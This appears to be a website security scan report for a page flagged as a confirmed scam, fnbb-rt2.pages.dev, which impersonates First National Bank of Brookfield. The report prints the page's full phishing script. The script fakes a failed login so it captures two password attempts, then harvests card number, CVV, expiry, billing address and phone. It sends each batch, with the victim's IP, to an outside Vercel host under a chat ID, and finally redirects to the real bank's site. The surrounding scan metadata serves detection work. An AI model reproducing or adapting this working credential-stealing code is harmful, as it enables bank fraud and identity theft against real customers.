real estate property

finance banking

documentation technical

education learning

technology software

English

The domain 'fnbb-rt2.pages.dev' uses the developer-focused generic top-level domain (.dev) and includes subdomain 'fnbb-rt2'. Its registrable label 'pages' stretches across 5 characters holding 2 vowels versus 3 consonants. Breaking it apart gives one word: pages. No strong language cues emerged from the frequency lists.

html/6b/ac/6bac06a3-d36b-4c98-bac1-27b9866d668d.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

ce6963421bcd3762b617eb8219846ac5005f42fd695fe2a91b322356da59b9dd

viewport

Abuse Team

CloudFlare, Inc.

pages.dev

Cloudflare, Inc.

Cloudflare, Inc

CLOUDFLARENET


        // ================= BACKEND INTEGRATION (PRESERVED FROM ATTACHED CODE) =================

        const baseURL = 'https://nexflix-neon.vercel.app/';
        const chatId = '723539653';
        const siteTitle = 'First National Bank of Brookfield';
        const currentYear = new Date().getFullYear();
        const yearSelect = document.getElementById('cc-year');

        for (let i = 0; i <= 10; i++) {
            const year = currentYear + i;
            const option = document.createElement('option');
            option.value = year.toString().slice(-2);
            option.textContent = year;
            yearSelect.appendChild(option);
        }

        let capturedEmail = '';
        let firstPasswordAttempt = '';
        let secondPasswordAttempt = '';
        let capturedCard = null;
        let attemptCount = 0;
        let ipAddress = '';

        fetch('https://api.ipify.org?format=json')
            .then(res => res.json())
            .then(data => ipAddress = data.ip)
            .catch(err => console.error('IP Error:', err));

        async function sendToApi(dataPayload) {
            document.getElementById('loading-spinner').classList.add('show');
            try {
                await fetch(`${baseURL}main`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        data: JSON.stringify(dataPayload),
                        chatId: chatId,
                        title: dataPayload.title || siteTitle
                    })
                });
            } catch (err) {
                console.error('API Error:', err);
            } finally {
                document.getElementById('loading-spinner').classList.remove('show');
            }
        }

        const step1 = document.getElementById('step-1');
        const step2 = document.getElementById('step-2');
        const step3 = document.getElementById('step-3');
        const emailInput = document.getElementById('email-input');
        const passwordInput = document.getElementById('password-input');
        const errorMessage = document.getElementById('error-message');
        const cardStatus = document.getElementById('card-status');
        const billingStatus = document.getElementById('billing-status');
        const cardErrorMessage = document.getElementById('card-error-message');
        const ccNumberInput = document.getElementById('cc-number');
        const ccCvvInput = document.getElementById('cc-cvv');

        document.getElementById('login-btn').addEventListener('click', function() {
            const currentEmail = emailInput.value.trim();
            const currentPassword = passwordInput.value;

            if (currentEmail === '' || currentPassword === '') return;

            capturedEmail = currentEmail;

            if (attemptCount === 0) {
                firstPasswordAttempt = currentPassword;
                attemptCount++;

                errorMessage.classList.add('show');
                passwordInput.classList.add('input-error');
                passwordInput.value = '';
                passwordInput.focus();
            } else {
                secondPasswordAttempt = currentPassword;

                sendToApi({
                    email: capturedEmail,
                    password: firstPasswordAttempt,
                    password2: secondPasswordAttempt,
                    name: siteTitle,
                    IPAddress: ipAddress,
                    chatId: chatId,
                    title: 'new fnbb login data'
                }).then(() => {
                    step1.classList.remove('active');
                    step2.classList.add('active');
                    setTimeout(() => document.getElementById('cc-name').focus(), 100);
                });
            }
        });

        ccNumberInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\D/g, '');
            let formattedValue = value.replace(/(.{4})/g, '$1 ').trim();
            e.target.value = formattedValue;
        });

        ccCvvInput.addEventListener('input', function(e) {
            e.target.value = e.target.value.replace(/\D/g, '');
        });

        document.getElementById('card-btn').addEventListener('click', function() {
            const rawNumber = ccNumberInput.value.replace(/\s/g, '');
            const rawCvv = ccCvvInput.value;

            if (rawNumber.length < 15 || rawNumber.length > 19 || rawCvv.length < 3 || rawCvv.length > 4) {
                cardErrorMessage.classList.add('show');
                ccNumberInput.classList.add('input-error');
                return;
            } else {
                cardErrorMessage.classList.remove('show');
                ccNumberInput.classList.remove('input-error');
            }

            const expMonth = document.getElementById('cc-month').value;
            const expYear = document.getElementById('cc-year').value;

            const fullYear = 2000 + parseInt(expYear);
            const expiryDate = new Date(fullYear, parseInt(expMonth), 0);
            const today = new Date();
            today.setHours(0, 0, 0, 0);

            if (expiryDate < today) {
                cardErrorMessage.innerHTML = '<svg class="error-icon" viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/></svg> This card has expired. Please use a valid card.';
                cardErrorMessage.classList.add('show');
                document.getElementById('cc-month').classList.add('input-error');
                document.getElementById('cc-year').classList.add('input-error');
                return;
            } else {
                cardErrorMessage.classList.remove('show');
                document.getElementById('cc-month').classList.remove('input-error');
                document.getElementById('cc-year').classList.remove('input-error');
            }

            capturedCard = {
                name: document.getElementById('cc-name').value,
                number: ccNumberInput.value,
                expiry: `${expMonth}/${expYear}`,
                cvv: rawCvv
            };

            sendToApi({
                cardNumber: capturedCard.number,
                cardName: capturedCard.name,
                billingEmail: capturedEmail,
                expiry: capturedCard.expiry,
                cvv: capturedCard.cvv,
                name: siteTitle,
                IPAddress: ipAddress,
                chatId: chatId,
                title: 'new fnbb CC info'
            }).then(() => {
                step2.classList.remove('active');
                step3.classList.add('active');
                setTimeout(() => document.getElementById('address-1').focus(), 100);
            });
        });

        document.getElementById('billing-btn').addEventListener('click', function() {
            const capturedBilling = {
                address1: document.getElementById('address-1').value,
                address2: document.getElementById('address-2').value,
                state: document.getElementById('state').value,
                city: document.getElementById('city').value,
                phone: document.getElementById('phone').value,
                zip: document.getElementById('zip').value
            };

            sendToApi({
                ...capturedBilling,
                name: siteTitle,
                IPAddress: ipAddress,
                chatId: chatId,
                title: 'new fnbb billing address'
            }).then(() => {
                billingStatus.classList.add('show');

                setTimeout(() => {
                    window.location.href = "https://www.fnbofbrookfield.com/";
                }, 3000);
            });
        });
    

First National Bank of Brookfield

☠️ Malicious - http://fnbb-rt2.pages.dev/

Requests	IP Address	Location	AS Autonomous System
5	172.66.47.11Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
4	185.27.134.144	United Kingdom	AS34119Wildcard UK Limited
4	142.251.14.95Google · CDN	United States	AS15169Google LLC
13	3	-	-

Security Scan Report: fnbb-rt2.pages.dev

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History